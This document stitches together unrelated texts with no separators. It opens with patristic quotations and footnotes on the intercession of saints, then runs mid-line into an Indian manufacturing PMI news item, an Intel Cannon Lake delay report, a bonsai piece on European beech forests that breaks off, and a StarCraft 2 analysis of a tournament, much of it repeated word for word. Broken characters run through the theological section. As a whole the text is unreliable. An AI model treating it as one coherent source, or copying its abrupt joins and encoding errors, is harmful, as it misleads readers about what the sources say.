For it is, it is possible for him who comes hither with faith to gather the fruit of many good things. For not the bodies only, but the very sepulchers of the saints have been filled with spiritual grace. For if in the case of Elisha this happened, and a corpse when it touched the sepulcher, burst the bands of death and returned to life again, much rather now, when grace is more abundant, when the energy of the spirit is greater, is it possible that one touching a sepulcher, with faith, should win great power; thence on this account God allowed us the remains of the saints, wishing to lead by them us to the same emulation, and to afford us a kind of haven, and a secure consolation for the evils which are ever overtaking us. Wherefore I beseech you all, if any is in despondency, if in disease, if under insult, if in any other circumstance of this life, if in the depth of sins, let him come hither with faith, and he will lay aside all those things, and will return with much joy, having procured a lighter conscience from the sight alone. But more, it is not only necessary that those who are in affliction should come hither, but if any one be in cheerfulness, in glory, in power, in much assurance towards God, let not this man despise the benefit. For coming hither and beholding this saint, he will keep these noble possessions unmoved, persuading his own soul to be moderate by the recollection of this man's mighty deeds, and not suffering his conscience by the mighty deeds to be lifted up to any self-conceit. And it is no slight thing for those in prosperity not to be puffed up at their good fortune, but to know how to bear their prosperity with moderation, so that the treasure is serviceable to all, the resting place is suitable, for the fallen, in order that they may escape from their temptations, for the fortunate, that their success may remain secure, for those in weakness indeed, that they may return to health, and for the healthy, that they may not fall into weakness. Considering all which things, let us prefer this way of spending our time, to all delight, all pleasure, in order that rejoicing at once, and profiling, we may be able to become partakers with these saints, both of their dwelling and of their home, through the prayers of the saints themselves, through the grace and lovingkindness of our Lord Jesus Christ, with whom be glory to the Father with the Holy Spirit, now and always forever and ever amen.25
For on these very grounds we do not commemorate them at the table in the same way, as we do others who now rest in peace, as that we should also pray for them, but rather that they should do so for us, that we may cleave to their footsteps; because they have actually attained that fullness of love, than which, our Lord hath told us, there cannot be a greater.26
It is true that Christians pay religious honor to the memory of the martyrs, both to excite us to imitate them, and to obtain a share in their merits, and the assistance of their prayers.27
You say in your book that while we live we are able to pray for each other, but afterwards when we have died, the prayer of no person for another can be heard�But if the apostles and martyrs while still in the body can pray for others, at a time when they ought still be solicitous about themselves, how much more will they do so after their crowns, victories, and triumphs?28
Let us rejoice, then, dearly beloved, with spiritual joy, and make our boast over the happy end of this illustrious man in the Lord [the martyr Laurentius]�By his prayer and intercession we trust at all times to be assisted�29
The Orthodox belief that the angels and departed saints intercede for those on earth is in keeping with the ancient teaching of God�s people as witnessed by the apocryphal, the Scriptural and the Patristic writings.� It only makes sense that if the saints on earth are commanded by Scripture to intercede for others on earth, then it only follows that this activity should not cease when they leave the tabernacle of their flesh and stand in the presence of God.� If we, as Scripture says, have been made priests in Christ�s Kingdom, and we are sharers in His Royal Priesthood, then it only seems to follow that we should exercise this priesthood by offering:
�supplications, prayers, intercessions, and giving of thanks, be made for all men.30
Despite the Church�s ancient Tradition, the teaching of Scripture, and in view of its reaction to 16th century Roman Catholicism, the Protestant Reformation was divided on this issue of the saints� intercession.31
Footnotes
1. Revelation 8:3-4
2. Tobit 12:12, 15 (New American Bible)
3. 1 Enoch 14:24-15:2
4. 1 Enoch 40:6, 9
5. 3 Baruch 11:1-7, http://wesley.nnu.edu/noncanon/ot/pseudo/3baruch.htm
6. Testament of Dan 2:14-15, �The Lost Books of The Bible and The Forgotten Books of Eden,� Page 249, New American Library
7. 1 Enoch 39:4>
8. 2 Maccabees 15:11-14
9. Revelation 5:1-14
10. �The Apocalypse in the Teachings of Ancient Christianity� Page 112
11. �Orthodox Study Bible� Page 601, Footnote on 4:4, Thomas Nelson Publishers, Nashville
12. �The Apocalypse in the Teachings of Ancient Christianity� Page 121, Quoting St. Andrew�s �Commentary on the Apocalypse� Chapter 12
13. �Orthodox Dogmatic Theology,� Father Michael Pomazansky, Page 316, St. Herman of Alaska Brotherhood
14. Clement of Alexandria, Stromata, Book 6, Chapter 13, ANF 2:504
15. �Orthodox Study Bible� Pages 602-603, Footnote on 5:8, Thomas Nelson Publishers, Nashville
16. Protestant commentators vary in their interpretation of the meaning of the twenty four elders.� However, it seems that a majority of them understand the twenty four elders as, in some way, representing the Church�that is, the redeemed.� Even though Protestant commentator Robert Mounce personally does not believe that the twenty-four elders represent the Church, he concedes the fact that �a great many writers interpret� these elders as representative of redeemed humanity.� He writes: �The identity of the twenty-four elders has been widely discussed.� Commentators who tend to find the source of John�s imagery in the astromythological tradition of Eastern polytheism take the elders to be a Judaic counterpart of the twenty-four star-gods of the Babylonian pantheon.� Others interpret them as symbolic of the twenty-four courses of Aaronic priests (I Chron 24:5), who in heaven render to God that perfect worship of which the priestly worship on earth is but an imperfect copy.� A great many writers interpret the twenty-four elders as symbolic of the church it its totality�a combination of the twelve patriarchs and the twelve apostles�but this seems unlikely in that their song of praise (5:9-10) definitely sets them apart from those who were purchased by the blood of Christ (most certainly the church!)� (�The New International Commentary on the New Testament�The Book of Revelation,� Page 135, Robert H. Mounce, Eerdmans Publishing Company, 1977).� Protestant commentator William Barclay writes: �The first section in the chorus of praise is the song of the four living creatures and the twenty-four elders; and, as we have seen, they represent all that is in nature and in the universal Church� (�The Revelation of John,� Volume 1, Page 174, William Barclay, Westminster John Knox Press, Louisville).� Again, the same author writes: �We find the twenty-four elders frequently appearing in Revelation�We move on to explanations which we think are much more likely�We think that the likeliest explanation is that the twenty-four elders are the symbolic representatives of the faithful people of God.� Their white robes are the robes promised to the faithful (Revelation 3:4), and their crowns (stephanoi) are those promised to those who are faithful unto death (Revelation 2:10).� The thrones are those which Jesus promised to those who forsook all and followed him (Matthew 19:27-29).� The description of the twenty-four elders fits well with the promises made to the faithful.� The question will then be, �Why twenty-four?�� The answer is because the Church is composed of Jews and Gentiles.� There were originally twelve tribes, but now it is as if the tribes were doubled.� Swete says that the twenty-four elders stand for the Church in its totality� (�The Revelation of John,� Volume 1, Pages 152, 153, 154, William Barclay, Westminster John Knox Press, Louisville).
Another Evangelical commentary, which expresses the four major interpretive schools (Historicist, Preterist, Futurist and Spiritual) makes the following observations regarding how the twenty-four elders are identified.� For the Historicist school, the commentary states: �Without attempting to identify the twenty-four elders, Adam Clarke suggests that the image may be taken from the smaller Sanhedrin at Jerusalem, which was composed of 23 elders.� Barnes speaks for many other expositors of this school when he recognizes in the 24 elders �the church triumphant�redeemed�saved�as rendering praise and honour to God; as uniting with the hosts of heaven in adoring him for his perfections and for the wonders of his grace.�� Ezekiel saw 25 men in a vision, representing the high priest and heads of the 24 orders of priests.� Here, the Lamb replaces the high priest of that vision, and the church replaces the corrupt priesthood of Ezekiel�s day� (�Revelation�Four Views�A Parallel Commentary,� Pages 86, 88, Edited by Steve Gregg, Thomas Nelson Publishers, Nashville).
For the Preterist school: This commentary, while citing a Preterist commentator (Jay Adams) who does not believe that the elders represent the Church, concedes the fact that Jay Adam �does not follow the apparent majority in seeing the twenty-four elders as representing the church, or �the representative assembly of the Royal Priesthood, the Church�� (�Revelation�Four Views�A Parallel Commentary,� Page 86, Edited by Steve Gregg, Thomas Nelson Publishers, Nashville).
For the Futurist school: �The majority opinion among dispensationalists (Gaebelein, Ryrie, Walvoord, Lindsey, and others) identifies the 24 elders as the New Testament saints, who were raptured into heaven.� Gaebelein writes: �There is only one possible meaning.� They represent the redeemed, the Saints in glory.� They are Priests (clothed in white) and the are Kings (crowned); they are the royal priesthood before the throne�� (�Revelation�Four Views�A Parallel Commentary,� Page 89, Edited by Steve Gregg, Thomas Nelson Publishers, Nashville).
The Catholic Study Bible states that the twenty-four elders �represent the twelve tribes of Israel and the twelve apostles� (�Catholic Study Bible,� New American Bible, New Testament, Page 405, Footnote on 4, 4, Oxford University Press, Oxford)
The Original Greek:
�Kai adousin wdhn kainhn, legontes, �axios ei labein to biblion, kai anoixai tas sfragidas autou, oti esfaghs, kai hgorasas tw qew hmas en tw aimati sou ek pashs fulhs kai glwsshs kai laou kai eqnous, kai epoihsas hmas tw qew hmwn basileis kai iereis, kai basileusomen epi ths ghs.�� (Textus Receptus, Revelation 5:9-10)
�Kai adousin wdhn kainhn, legontes, �axios ei labein to biblion, kai anoixai tas sfragidas autou, oti esfaghs, kai hgorasas tw qew en tw aimati sou ek pashs fulhs kai glwsshs kai laou kai eqnous, kai epoihsas autous tw qew hmwn basileian kai iereis, kai basileusousin epi ths ghs.�� (Novum Testamentum Graece [1979], Revelation 5:9-10)
According to the �Orthodox New Testament� (Volume 2, Page 561, Footnote 116, Holy Apostles Convent/Dormition Skete, 1999), �The evidence for the third person pronoun is overwhelmingly supported.�� These footnotes inform us that only the Textus Receptus renders 5:10a as �hmas� (�us�), while other manuscripts employ �autous� (�them�).� Also, regarding �we shall reign� versus �they shall reign�: ��They shall reign� (basileusousin) [Uncials aleph P; Minuscules 1854 2050 2053 2344 2351 2953 2344; mss. Following Andrew of Caesarea; Editions Constantinople, CT, NA; St. Hippolytos, St. Cyprian].� The KJV reads �we shall reign� (basileusomen) [TR]� (�Orthodox New Testament� Volume 2, Page 561, Footnote 117, Holy Apostles Convent/Dormition Skete, 1999).
�Et cantabant canticum novum, dicentes: Dignus es Domine accipere librum, et aperire signacula ejus: quoniam occisus es, et redemisti nos Deo in sanguine tuo ex omni tribu, et lingua, et populo, et natione: Et fecisti nos Deo nostro regnum, et sacerdotes: et regnabimus super terram.�� (The Vulgate of St. Jerome, Revelation 5:9-10)
17. Revelation 8:3-4
18. Martyrdom of St. Ignatius, Chapter 7, ANF 1:131
19. The Shepherd of Hermas, 3:5:4, ANF 2:35
20. Clement of Alexandria, Miscellanies, ANF 2:545
21. Origen of Alexandria, On Prayer 6
22. St. Cyprian of Carthage, Epistle 60:5[56:5], ANF 5:352
23. St. Cyril of Jerusalem, Catechetical Lectures 23:9, NPNF II 7:154
24. St. Gregory Nazianzen, Orations, On the Death of His Father 18:4, NPNF II 6:256
25. St. John Chrysostom, Homilies on St. Ignatius, NPNF I 9:140
26. St. Augustine of Hippo, Homilies on John 84, NPNF I 7:350
27. St. Augustine of Hippo, Reply to Faustus the Manichaen, Book 20, Chapter 21, NPNF I 4:262
28. St. Jerome, Against Vigilantius 6, NPNF II 6:419
29. St. Leo the Great, Sermons 85:4, NPNF II 12:198
30. 1 Timothy 2:1
31. Protestants have been traditionally divided over this issue even from the start.� While the Lutheran Reformation admitted that the saints in heaven interceded for the Church on earth�but only IN GENERAL, they did not have much confidence in this, and seemed to refer to it only as a possibility rather than a given.� While Luther, in his earlier years, when writing his famous commentary on the Magnificat, expressed a clear belief that the saints in heaven intercede for those on earth (as shown in the following excerpt): �We pray God to give us a right understanding of this Magnificat, an understanding that consists not merely in brilliant words but in glowing life in body and soul.� May Christ grant us this through the intercession and for the sake of His dear Mother Mary! Amen.�� (Martin Luther, Commentary on the Magnificat, W, VII, 600, 601, Luther�s Works, Volume 21, Page 329, Concordia Publishing House)� He later weakened his affirmation of this belief, as is evidenced in the later Lutheran confessional documents, which express a belief in only a possible, general intercession.� �Although angels in heaven pray for us (as Christ himself also does), and although saints on earth, and perhaps also in heaven�� (Smalcald Articles, Part II, Article II, Book of Concord 297, Fortress Press, Philadelphia)� The Augsburg Confession states: �We also grant that the saints in heaven pray for the church in general, as they prayed for the church universal while they were on earth.� Nevertheless, there is no passage in Scripture about the dead praying, except for the dream recorded in the Second Book of the Maccabees.�� (Apology of the Augsburg Confession, Article 21, Book of Concord 230, Fortress Press, Philadelphia)� The Reformation in Geneva was much more firm in its outright rejection of any suggestion that the saints in heaven intercede for those on earth.� John Calvin dismissed it in uncompromisingly scathing language.� He wrote: �What pertains to the office of intercession we also see is peculiar to Christ, and no prayer is pleasing to God unless this Mediator sanctifies it.� Yet even if believers reciprocally offer prayers before God for the brethren, we have shown that this detracts nothing from Christ�s unique intercession�We have, moreover, taught that it is inappropriately applied to the dead, of whom we nowhere read that they have been bidden to pray for us.� Scripture often urges us to do our duty by one another but has not one syllable of the dead.� Indeed, James by joining these two exhortations�to confess our sins to one another, and to pray for one another [James 5:16]�tacitly excludes the dead.� Therefore this one reason is enough to condemn this error: prayer rightly begun springs from faith, and faith, from hearing God�s Word [Rom. 10:14, 17], where no mention is made of fictitious intercession; for superstition has rashly taken to itself advocates who had not been given by God.�� (John Calvin, Institutes of the Christian Religion, Book 3, Chapter 20:27, Library of Christian Classics, Volume 21, Page 887, Westminster Press, Philadelphia)� �The saints are not to be adored, worshipped or invoked.� For this reason we do not adore, worship, or pray to the saints in heaven, or to other gods, and we do not acknowledge them as our intercessors or mediators before the Father in heaven.� For God and Christ the Mediator are sufficient for us�� (2nd Helvetic Confession Chapter 5.025, Book of Confessions, Study Edition, Page 99, Geneva Press, Louisville, KY)Bengaluru: Growth in India’s manufacturing sector cooled to its slowest in 22 months in October as domestic demand softened, a private survey showed on Monday, adding pressure on Prime Minister Narendra Modi to usher in long-promised reforms.
The Nikkei Manufacturing Purchasing Managers’ Index (PMI), compiled by Markit, fell to 50.7 in October from September’s 51.2. The 50-mark divides expansion from contraction.
A sub-index covering new orders dropped to a two-year low of 51.2 from 52.5 as the uncertain economic climate deterred clients from committing to new projects, Markit said. New export orders grew slightly faster than September but at a modest pace, and levels were still well below those in late summer.
To try and spur demand, the Reserve Bank of India (RBI) cut interest rates to a four-and-a-half-year low of 6.75% September in a larger-than-expected move. A Reuters poll had forecast a 25 basis point (bps) reduction to 7%.
The central bank has cut interest rates by 125 bps since January, but as input prices rebounded in October, RBI will likely remain on the sidelines for the remainder of the year watching for any signs of a pick-up in inflation.
“RBI may pause its loosening cycle for the rest of the year. Upcoming survey data will show how effective the central bank’s effort to revive the economy has been," Pollyanna De Lima, an economist at Markit said.
With RBI likely to hold fire, pressure has mounted on Modi, who has promised to fast-track stalled infrastructure projects and ease restrictions on firms to bolster growth.
Still, showing some signs of optimism, firms added workers last month for the first time since January, though the increase was marginal. ReutersCannon Lake, Intel's 10nm evolution of Core processors, could arrive later than initially believed, after comments by a company executive suggest delays in development and mass production of the new processor —potentially endangering a rumored 32 GB MacBook Pro release in 2017
Speaking at an Intel manufacturing event at the end of March, Venkata Renduchintala, president of PC, Internet of Things, and chip design for Intel, advised the shipment timeline is hard to nail down, reports PC World. "In terms of first shipments, whether it's before the end of the year, or just after the beginning of [next] year, it's too close to call," said the president.Despite the uncertainty, Renduchintala believes Intel will still provide Cannon Lake chips to vendors within an appropriate timeline, with no major deviations to device producer timetables expected to occur.Cannon Lake will be the first generation of Intel chips produced using a 10-nanometer process, a die shrink that aims to provide performance improvements compared to previous generations, as well as a reduction in power consumption. This makes the processor more attractive for producers of battery-powered, where power consumption is a major concern.For Apple, Cannon Lake processors include support for LPDDR4 memory, something which could allow for the creation of a MacBook Pro with up to 32 gigabytes of memory. The MacBook Pro is unlikely to see a change to 32GB of RAM in the short term, as Apple is not expected to equip a MacBook Pro with a new RAM controller allowing for 32GB of more power-hungry DDR4 support. Compounding the problem, the expected 14nm process Kaby Lake refresh said to be called "Coffee Lake" doesn't support LPDDR4 —which would allow for 32GB of RAM without a new RAM controller."Coffee Lake" is an optimization expected for release in the second half of 2017 that is said to offer a 15-percent processing improvement on Kaby Lake. The fourth chip generation using the 14nm process, "Coffee Lake" will become the third "tock" in a row of Intel's "tick-tock" development strategy, a concept Intel retired in March 2016.The current 14nm Kaby Lake is thought to be the next processor to be used in a rumored 2017 refresh of the MacBook Pro, with a number of processors from the line reportedly making an appearance in beta code of macOS Sierra 10.12.4. Compared to the current Skylake generation, Kaby Lake as only a slight processing power increase, but with bigger improvements to the onboard GPU and power efficiency.Beech are highly prized for bonsai because of their characteristic white bark, beautiful foliage, winter hardiness and easy training. There are several beech species native to Japan. The Japanese beech, Fagus crenata is the most commonly trained species for bonsai in Japan. Specimens near Mt. Fuji are especially valued because of their small thick foliage. The American beech, Fagus grandifolia, has rather large thin foliage and often collected specimens are grown for bonsai. The European beech, Fagus sylvatica, is trained for bonsai in Europe and spectacular bonsai are created from thick trunked collected trees.
In the United States European beech, and its numerous cultivars are commonly used in the landscape for different colored foliage or unusual growth patterns. These cultivars are usually grafted onto seedlings of European beech, so they are a widely grown nursery stock.
The normal leaf size of European beech is a bit larger than Japanese beech. Although individual seedlings vary in leaf size and character, European beech mostly have thick leathery foliage, which quickly reduce in size. Whitish bark quickly develops in approximately six to ten years.
A few weeks ago I received a nursery offering for one to two foot European beech seedling transplants with low branching for hedges. European beech are often used for hedges in Europe and old estates in the United States. The offering sounded great and 150 sample trees were ordered. They were intended for single tree workshops for my next year’s Introductory Bonsai Course. Upon arrival, after inspection, the branching was not ideal for single tree bonsai, but excellent for forests.
I was quite excited about the shapes of the new plants and immediately created five European beech forests of different designs. Only a few of the seedling transplants were selected for single trunk bonsai. Since I was working alone I did not take the time to photograph the process of creating a forest bonsai. The five forests came out great and have the possibility of developing into future fine bonsai, so I ordered another 100 seedling transplants to make another forest with a friend photographing the creative process.
The seedlings arrived last week, but I did not have an opportunity to create the forest because I
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suicide toss in Brood War for a reason: MC puts an astronomical amount of pressure on himself. He’s always raising the stakes. He’s either the biggest winner or biggest loser, nothing in between. Even in the deciding match against Idra on Testbug, MC was still pushing the hype higher and higher. “Are you angry?”MC knows how to please his fans and the crowd. He knows how to generate hype. In fact, MC has a very high opinion of foreigner play, especially considering how he’s interacted with his Liquid housemates HuK and Jinro and from how he’s spoken about Thorzain, Naniwa, and Idra. But he understands it’s a show and that entertainment sells. In the end, MC didn’t win, but he was a big part of why MLG Columbus was so memorable. Some may look at him and think “arrogant,” but a more appropriate word is “aware.” mouz.Thorzain
Thorzain was almost at the point where his reputation threatens to outpace his results. The TSL3 Finals was weeks ago, and the fast moving world of SC2 competition always asks: “what have you done for me lately?” Thorzain responded, beating FXO.qxc, x6.Shadow, and Fnatic.KawaiiRice on his way to Group C. Yes, that Group C. While he dropped a quick set to MC, Thorzain handed Idra his only loss in group play. And when MC beat Thorzain, it wasn't the "ho hum, as expected, I won." MC ran out of his booth, performed a ceremony right in front of Thorzain, and started to high five fans.
MC respected Thorzain enough to let out a frustrated sigh when he found out Thorzain was in his group. That’s the biggest compliment you can get from someone like Min Chul. The two would meet again, and this time split the second series 2-2. After the tournament ended, we asked MMA which international players he’d like to see in the GSL. His response: “Of the foreigners, I think Thorzain would do very well.” That’s a lot of respect coming from a SlayerS team loaded with elite Terrans.
Thorzain, Korea is waiting.
"He plays like Boxer would play TvZ." - Mr. Chae
Thorzain was almost at the point where his reputation threatens to outpace his results. The TSL3 Finals was weeks ago, and the fast moving world of SC2 competition always asks: “what have you done for me lately?” Thorzain responded, beating FXO.qxc, x6.Shadow, and Fnatic.KawaiiRice on his way to Group C. Yes,Group C. While he dropped a quick set to MC, Thorzain handed Idra his only loss in group play. And when MC beat Thorzain, it wasn't the "ho hum, as expected, I won." MC ran out of his booth, performed a ceremony right in front of Thorzain, and started to high five fans.MC respected Thorzain enough to let out a frustrated sigh when he found out Thorzain was in his group. That’s the biggest compliment you can get from someone like Min Chul. The two would meet again, and this time split the second series 2-2. After the tournament ended, we asked MMA which international players he’d like to see in the GSL. His response: “Of the foreigners, I think Thorzain would do very well.” That’s a lot of respect coming from a SlayerS team loaded with elite Terrans.Thorzain, Korea is waiting. SlayerS_MMA
MMA swept MLG Columbus without dropping even one series. However, his 18-2 record was not as dominant as it seems on paper: MMA’s best matchup is TvZ by a far, and he only faced two non-Zerg opponents all weekend. But man, when he played that TvZ, he played it well. Tree.hugger explains.
M arine M edivac A nnihilation
By tree.hugger
On his way to the MLG championship, drew upon that unique winning formula of equal parts luck, skill and perseverance. But in his finals series, MMA dismantled LosirA with pure class. Out macroed, microed, positioned, and multi-tasked, LosirA conceded each game having savaged his opponent's economy, but neutered in the face of MMA's end-game forces. The story of how MLG was won is the story of how MMA has developed his awesome TvZ, and why it's a small but meaninful change in the short history of Sc2.
Your new worst nightmare.
It should be obvious to even the most careless of observers that MMA's style revolves around the eight marine drop. His use of this strategy—it's a tactic for everyone else, but MMA nearly makes it into a lifestyle—has born tremendous fruit in recent games apart from the MLG final. In the GSTL Ace match, MMA outlasted DongRaeGu with the same relentless harass.
But MMA's use of the drop goes well beyond what most players would consider feasible or safe. Almost by definition, dropping your opponent requires segmenting your army to achieve either surprise, a positional advantage, or both. The player conducting the drop is taking several risks in order to achieve an advantage. But if the drop is sniped or is cleaned up with no losses, then it creates a disadvantageous position for the dropping player. They have just given away a significant part of their army for nothing. In more than several instances, a drop is designed as a key part of an overall strategy, and it's failure can scuttle the preparation of a player.
It's not even entirely fair to say that MMA drops better than anyone else, although he does some things extremely well. One of MMA's strongest suits is his patience in letting a drop develop, when scouted, he nearly always unloads to kills off the offending scouting unit. Another characteristic is his persistence in keeping a drop alive with pick-up/cliff micro until it is forcibly killed off. Yet in nearly every one of his late-game TvZ games, MMA lost at least one of his drops having done no damage, and in most cases, this occurred multiple times. In other occasions, MMA inflicted only cosmetic damage or suffered damage to his main army in part because he had marines and medivacs engaged elsewhere.
So what exactly makes MMA's drop play so effective?
Cheshire Cat.
The critical aspect of MMA's drop play is it's frequency and persistence. MMA nearly always ensures that he drops two places at one time. He wears down his opponents, and snipes key buildings or units if they hesitate for a second. While his opponents are in the dark about his drops, MMA constantly puts himself in a good position to concentrate on his drops, sieging his tanks and keeping his marines split as his drops come in. His aforementioned patience with his drops is also important, as he constantly keeps dropping lanes clear of overlord or zergling traffic—LosirA, it should be noted, was extremely diligent about sending out overlords to scout for drops throughout the game—and finally his drop micro is extremely solid. A combination of these factors;
1) Superior Multitask
2) Superior Preparation
3) Superior Patience
4) Superior Micro
Gives MMA some insurance that his drop play will do damage at some point. But these are hardly noteworthy observations. The wear and tear that MMA's drop play causes upon his opponents is obvious. In the finals, LosirA made his largest mistake of the series—losing all of his mutalisks in a desperate bid for decisive victory in game one—after losing an expansion and many drones to multipronged attacks. LosirA's gg in the first game of the final set on Shattered Temple wasn't prompted entirely by the loss of his main army and drones. Before leaving, LosirA took a look back at his base, where eight marines and two medivacs were killing his tech. That's when he left.
But MMA's drop play rests upon a stronger theoretical foundation that makes it difficult to simply defend endlessly and win. A strong comparison can be made here to the famous TvP vulture play of. There are strong ties between these two players. Both are skinny with narrow faces. Both have a former bonjwa mentor in the background. Both are extremely clutch in teamleague play. And the comparisons are only reinforced in their playstyle. Both dangerously skimp on defense throughout their games in favor of risky offense or expansions. Both favor harassment as a means to an end. Both have displayed questionable crisis management on several occasions, and made brilliant decisions in others. Both are inconsistent, but unquestionably tremendous players. And both abuse terran cost-effectiveness like Hot_Bid does sunglasses or I do adverbs.
In BW TvP, the vulture is versatile and fast. It is seamlessly integrated into the standard terran TvP tech pattern, yet it's usefulness is somewhat diminished after it lays its spider mines. In the TvP horror universe of fantasy's creation, vultures gained an entirely new dimension as fantasy used them throughout the game to raid protoss bases and empty them of probes. Protoss players responded by developing effective vulture-safe wall-offs for their expansions. Fantasy responded by dropping the vultures in. Protosses began to put cannons in their mineral lines. Fantasy took the damage and killed the probes anyway, or else turned on his maphacks to intercept probe transfers. For a period, fantasy TvP's had protoss playing scared, often resulting in a passivity that allowed fantasy to ninja expansions, assume map control, or get away with an appalling lack of defense in midgame situations.
In Sc2, MMA has used his marine-medivac drops like fantasy does vultures. That's because the marine-medivac drop is extremely similar to the vulture runby. It is versatile and fast. It is cheap. It has the potential to be very disruptive. Just as vultures could massacre a probe line in seconds, eight marines can bring a stunning amount of DPS to bear against drones, tech, or a hatchery. Moreover, simultaneous MM-drops are surprisingly efficient uses of two medivacs and eight marines at the most basic cost-benefit level. Compared with TvP, medivacs are more expendable in TvZ, and their primary use is often to pick up marines from lost ground battles than it is to actually make a difference with in-battle healing like they are against a protoss army. Marines, as well, can be lost cheaply in drops, as terran can, and expects lose some of them easily anyway to banelings. Additionally as MKP demonstrated last year, marines are cost effective in virtually any setting, so using them in groups of eight as opposed to groups of twenty or thirty isn't going to greatly diminish their usefulness, especially in surgical base raiding. In comparison using groups of two tanks or four stalkers is obviously idiotic when you can mass them for much greater effect.
Marines and medivacs are expendable, and even more expendable in TvZ than in other match-ups. Terrans usually do not have to make vikings or marauders until much later stages of the game, which means that cheaply lost marines and medivacs always have replacements already in production. The advantages one or two drops can cause in a game is disproportionate to their worth. It's like if the three point line in basketball became a five point line. Sure you might miss a little more often from the new line, but would anyone ever shoot a two point shot?
LosirA's army, recently victorious, is AWOL when the follow-up drop kills... everything.
Even more that with just the hard math, MM-drops show their worth with a whole host of intangibles. If one drop pulls the entire zerg army over to one side of the map, or even just divert the zerg's attention, than it can buy time for the second drop to kill a spawning pool, snipe an expansion or assassinate a wealth of drones. This means that MMA's drops as a whole wind up being cost effective in a way that one drop or two drops could not be. Most terran players make drops only when they are behind, or at highly predictable timings when their first medivacs come out. MMA's drop play is predictable only in the sense that it will happen. But after defending one drop, there is no guarentee of later safety. After passing one particular timing, there is no reason to let down your guard. MMA's drop play is simply more effective because it happens more often, and largely regardless of situation. MMA's drop play actually creates a climate of fear that prevents zerg from running free.
The proof is in the pudding. A critical snipe of a spawning pool (Typhon Peaks), a drone massacre (Shattered Temple), some time wasting overlord sniping (Metalopolis), all contributed to MMA's overall victory in a way that eight, sixteen, twenty four, or even more marines really couldn't. MMA's drops pay for themselves in more than just minerals and gas. They buy time and allow for a faster expansion. They distract and confuse the zerg. They set the stage for phantom drops, or for real pushes. They allow terran to sieze control of the game from an agressive low-tech zerg. When you have macro like MMA and you're facing an opponent the level of LosirA, these things matter. That's the critical insight that fantasy's vulture play abused in BW, and that MMA's non-stop drop play has brought to Sc2.
Even with proper appreciation for the glory that is MMA's TvZ, it's difficult to believe that he can keep this up forever. Fantasy's vulture play has been slowly deflected as protoss BW players have become more adept at the predictive skills needed to defend it. So too will Sc2 zergs regain the multi-tasking ability they seem to have leeched after months in Sc2. MMA's drop play is far from undefendable, and there's no reason that a spine crawler and a transfuse, or a spore crawler and pre-placed banelings can't shut down MMA's play. Or perhaps a healthy dose of all-in ling aggression—LosirA's preferred remedy—will force MMA into a more defensive posture. But for the moment, the advantage lies with the terran and those who are quick enough to press the boundaries of Sc2's micro and multitask.
And in that vein, MMA's win and MLG in general was wonderful for thousands of fans as well as this writer. This is in large part because Sc2's is changing from a maxed-army, ball vs ball standard of play into something more dynamic. And a small piece of that change occurred before our eyes last weekend. It was a great thing to see.
On his way to the MLG championship, MMA drew upon that unique winning formula of equal parts luck, skill and perseverance. But in his finals series, MMA dismantled LosirA with pure class. Out macroed, microed, positioned, and multi-tasked, LosirA conceded each game having savaged his opponent's economy, but neutered in the face of MMA's end-game forces. The story of how MLG was won is the story of how MMA has developed his awesome TvZ, and why it's a small but meaninful change in the short history of Sc2.It should be obvious to even the most careless of observers that MMA's style revolves around the eight marine drop. His use of this strategy—it's a tactic for everyone else, but MMA nearly makes it into a lifestyle—has born tremendous fruit in recent games apart from the MLG final. In the GSTL Ace match, MMA outlasted DongRaeGu with the same relentless harass.But MMA's use of the drop goes well beyond what most players would consider feasible or safe. Almost by definition, dropping your opponent requires segmenting your army to achieve either surprise, a positional advantage, or both. The player conducting the drop is taking several risks in order to achieve an advantage. But if the drop is sniped or is cleaned up with no losses, then it creates a disadvantageous position for the dropping player. They have just given away a significant part of their army for nothing. In more than several instances, a drop is designed as a key part of an overall strategy, and it's failure can scuttle the preparation of a player.It's not even entirely fair to say that MMA dropsthan anyone else, although he does some things extremely well. One of MMA's strongest suits is his patience in letting a drop develop, when scouted, he nearly always unloads to kills off the offending scouting unit. Another characteristic is his persistence in keeping a drop alive with pick-up/cliff micro until it is forcibly killed off. Yet in nearly every one of his late-game TvZ games, MMA lost at least one of his drops having done no damage, and in most cases, this occurred multiple times. In other occasions, MMA inflicted only cosmetic damage or suffered damage to his main army in part because he had marines and medivacs engaged elsewhere.So what exactly makes MMA's drop play so effective?The critical aspect of MMA's drop play is it's frequency and persistence. MMA nearly always ensures that he drops two places at one time. He wears down his opponents, and snipes key buildings or units if they hesitate for a second. While his opponents are in the dark about his drops, MMA constantly puts himself in a good position to concentrate on his drops, sieging his tanks and keeping his marines split as his drops come in. His aforementioned patience with his drops is also important, as he constantly keeps dropping lanes clear of overlord or zergling traffic—LosirA, it should be noted, was extremely diligent about sending out overlords to scout for drops throughout the game—and finally his drop micro is extremely solid. A combination of these factors;1) Superior Multitask2) Superior Preparation3) Superior Patience4) Superior MicroGives MMA some insurance that his drop play will do damage at some point. But these are hardly noteworthy observations. The wear and tear that MMA's drop play causes upon his opponents is obvious. In the finals, LosirA made his largest mistake of the series—losing all of his mutalisks in a desperate bid for decisive victory in game one—after losing an expansion and many drones to multipronged attacks. LosirA's gg in the first game of the final set on Shattered Temple wasn't prompted entirely by the loss of his main army and drones. Before leaving, LosirA took a look back at his base, where eight marines and two medivacs were killing his tech. That's when he left.But MMA's drop play rests upon a stronger theoretical foundation that makes it difficult to simply defend endlessly and win. A strong comparison can be made here to the famous TvP vulture play of Fantasy. There are strong ties between these two players. Both are skinny with narrow faces. Both have a former bonjwa mentor in the background. Both are extremely clutch in teamleague play. And the comparisons are only reinforced in their playstyle. Both dangerously skimp on defense throughout their games in favor of risky offense or expansions. Both favor harassment as a means to an end. Both have displayed questionable crisis management on several occasions, and made brilliant decisions in others. Both are inconsistent, but unquestionably tremendous players. And both abuse terran cost-effectiveness like Hot_Bid does sunglasses or I do adverbs.In BW TvP, the vulture is versatile and fast. It is seamlessly integrated into the standard terran TvP tech pattern, yet it's usefulness is somewhat diminished after it lays its spider mines. In the TvP horror universe of fantasy's creation, vultures gained an entirely new dimension as fantasy used them throughout the game to raid protoss bases and empty them of probes. Protoss players responded by developing effective vulture-safe wall-offs for their expansions. Fantasy responded by dropping the vultures in. Protosses began to put cannons in their mineral lines. Fantasy took the damage and killed the probes anyway, or else turned on his maphacks to intercept probe transfers. For a period, fantasy TvP's had protoss playing scared, often resulting in a passivity that allowed fantasy to ninja expansions, assume map control, or get away with an appalling lack of defense in midgame situations.In Sc2, MMA has used his marine-medivac drops like fantasy does vultures. That's because the marine-medivac drop is extremely similar to the vulture runby. It is versatile and fast. It is cheap. It has the potential to 